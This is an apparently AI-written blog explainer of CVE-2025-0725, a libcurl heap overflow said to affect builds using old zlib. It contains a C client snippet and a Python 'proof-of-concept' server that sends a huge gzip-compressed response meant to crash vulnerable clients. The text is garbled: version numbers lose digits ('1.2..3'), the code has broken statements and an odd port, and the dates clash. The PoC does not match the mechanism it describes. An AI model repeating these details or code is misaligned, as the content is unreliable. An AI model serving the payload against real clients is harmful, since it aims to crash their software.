On March 6, 2025, a new critical vulnerability named CVE-2025-0725 was discovered affecting libcurl when it’s used with zlib 1.2..3 or older. This bug can cause a buffer overflow if an attacker manages to feed libcurl a specially crafted gzip-compressed HTTP response, leading to possible remote code execution. This long read explains the vulnerability, shows code samples, shows how to test for the bug, and includes references for your research.

What is CVE-2025-0725?

This vulnerability lies in how the libcurl library decompresses HTTP response bodies automatically using the CURLOPT_ACCEPT_ENCODING option. If your code tells libcurl to “accept gzip”, and your system uses a very old version of zlib (≤ 1.2..3, released in 1999), an attacker can trick it into overflowing a heap buffer by exploiting an integer overflow in the underlying zlib code.

When you use code like this

curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, "gzip");

libcurl handles “gzip” responses automatically by using the zlib library.

The Vulnerable Code Path

When zlib 1.2..3 (or earlier) decompresses a chunk of gzip data, it allocates a buffer for the output. If the attacker supplies a malformed Content-Encoding: gzip response with parameters crafted to cause an integer overflow, zlib calculates the buffer size wrongly. This makes libcurl trust a bogus output length, and as a result, it may overwrite memory—but only on old zlib versions.

Here’s a minimal C code that asks libcurl to auto-decompress with accept-encoding + very old zlib

#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl = curl_easy_init();
    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "http://malicious-site/vuln.gz";);
        curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, "gzip");
        CURLcode res = curl_easy_perform(curl);
        if(res != CURLE_OK)
            fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
        curl_easy_cleanup(curl);
    }
    return ;
}

Attacker’s Server:

- Sends a malicious gzip-compressed payload with an unreasonably large “uncompressed length” specified in the gzip header.
- Example: Exploit proof-of-concept script (illustrative, not real link).

Effect:

- When victim’s system uses zlib ≤ 1.2..3, the integer overflow occurs; a too-small buffer is allocated; zlib writes decompressed data past the end of buffer.

Simple proof-of-concept (Python HTTP server sending evil gzip)

import gzip
import io
from http.server import BaseHTTPRequestHandler, HTTPServer

class ExploitHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        payload = b"A" * (2**32)  # overly large
        buf = io.BytesIO()
        f = gzip.GzipFile(fileobj=buf, mode='wb')
        f.write(payload)
        f.close()
        self.send_response(200)
        self.send_header("Content-Encoding", "gzip")
        self.end_headers()
        self.wfile.write(buf.getvalue())

if __name__ == '__main__':
    HTTPServer(('', 808), ExploitHandler).serve_forever()

*Warning: This can crash programs using old zlib—please test in safe environments only!*

Who is at Risk?

- Any application using libcurl on Linux/Unix/Windows.
- Systems that still have zlib ≤ 1.2..3 (very rare, but common in embedded/ancient distros, or via static linking/old containers).

Any version after 1.2..3 is safe from this integer overflow.

- Official zlib download page

Original Advisory:

libcurl Security Advisory - CVE-2025-0725

zlib changelog:

zlib official changelog
- curl documentation / Accept-Encoding:
libcurl: CURLOPT_ACCEPT_ENCODING

General buffer overflow info:

OWASP: Buffer Overflow

Final Thoughts

CVE-2025-0725 highlights the danger of relying on ancient dependencies in modern software. Even core C libraries like zlib can trip up security if left unpatched for decades. The bug here isn’t in curl’s logic, but in zlib library’s handling of attacker-controlled decompress lengths.

Always audit your supply chain, and keep even the oldest libraries updated!


*Original research, demonstration, and summary by AI. Links and code are for educational use. Test responsibly!*

Timeline

Published on: 02/05/2025 10:15:22 UTC
Last modified on: 02/06/2025 19:15:19 UTC